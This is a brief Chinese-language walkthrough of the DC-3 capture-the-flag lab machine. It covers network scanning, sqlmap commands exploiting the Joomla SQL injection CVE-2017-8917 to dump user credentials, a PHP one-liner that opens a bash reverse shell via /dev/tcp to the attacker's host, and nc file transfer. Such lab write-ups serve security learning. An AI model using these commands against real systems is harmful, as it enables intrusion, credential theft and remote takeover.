靶机DC-3的通关笔记
首先找到靶机ip
netdiscover -r 192.168.1.0/24
nmap -sS -T3 -p- 192.168.1.135
nmap -A -n -Pn -T3 -p80 192.168.1.135
找了一个牛逼的字典https://github.com/TheKingOfDuck/fuzzDicts
sqlmap -u "http://192.168.1.135/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
sqlmap -u "http://192.168.1.135/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --D joomladb --tables -p list[fullordering]
sqlmap -u "http://192.168.1.135/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users" --columns -p list[fullordering]
sqlmap -u "http://192.168.1.135/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users" -C 'password,username' --dump -p list[fullordering]
<?php exec("bash -c 'bash -i >& /dev/tcp/192.168.1.131/1337 0>&1' ");?>
最后总结:
1.joomla存在SQL注入漏洞 CVE-2017-8917 ---> https://www.freebuf.com/vuls/135035.html
2.查资料得有一个针对joomla的工具joomscan --->https://github.com/rezasp/joomscan
3.searchsploit”是一个用于Exploit-DB的命令行搜索工具,它还允许你随身带一份Exploit-DB的副本--->https://www.exploit-db.com/
4.在linux中 、uname -r 查linux内核 版本、lsb_release -a 查操作系统版本、arch查当前主机的硬件结构类型
5.我真菜
补充一些细节:
1.Joomla 默认模版路径在/templates/下,而shell保存在了beez3下,保存时会显示的,
2.sqlmap参数都是参照42033.txt
3.nc传文件:
靶机: nc -lvvp 1337 >exploit.tar
Kali :nc -q 1 192.168.1.135 1337 <exploit.tar
-q 1 传完后一秒自动退出